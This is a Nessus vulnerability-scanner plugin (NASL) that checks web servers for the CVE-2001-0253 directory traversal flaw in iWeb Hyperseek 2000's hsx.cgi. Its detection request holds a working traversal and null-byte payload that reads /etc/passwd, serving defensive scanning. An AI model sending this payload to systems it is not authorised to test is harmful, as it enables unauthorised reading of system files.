iWeb Hyperseek 2000 hsx.cgi show Parameter Traversal Arbitrary File Read

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
 script_id(10602);
 script_version("1.32");

 script_cve_id("CVE-2001-0253");
 script_bugtraq_id(2314);
 
 script_name(english:"iWeb Hyperseek 2000 hsx.cgi show Parameter Traversal Arbitrary File Read");
 script_summary(english:"Checks for the presence of /cgi-bin/hsx.cgi");

 script_set_attribute(attribute:"synopsis", value:
"The remote web server is hosting a CGI script that is affected by an
information disclosure vulnerability." );
 script_set_attribute(attribute:"description", value:
"The 'hsx.cgi' CGI is installed. This CGI has a well known security 
flaw that lets an attacker read arbitrary files with the privileges
of the http daemon (usually root or nobody)." );
 script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2001/Jan/441" );
 script_set_attribute(attribute:"solution", value:
"There is no known solution at this time." );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:U/RC:ND");
 script_set_attribute(attribute:"exploitability_ease", value:"No known exploits are available");
 script_set_attribute(attribute:"exploit_available", value:"false");

 script_set_attribute(attribute:"plugin_publication_date", value: "2001/01/29");
 script_set_attribute(attribute:"vuln_publication_date", value: "2001/01/28");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
 script_set_attribute(attribute:"plugin_type", value:"remote");
 script_end_attributes();
 
 script_category(ACT_GATHER_INFO);
 
 script_copyright(english:"This script is Copyright (C) 2001-2021 Tenable Network Security, Inc.");
 script_family(english:"CGI abuses");
 script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (cgi_dirs())
{
  res = http_send_recv3(
    method:"GET",
    item:string(dir, "/hsx.cgi?show=../../../../../../../../../../../../../etc/passwd%00"),
    port:port,
    exit_on_fail: 1
  );

  if (egrep(pattern:".*root:.*:0:[01]:.*", string:res[2])){
    security_warning(port:port);
    exit(0);
  }
}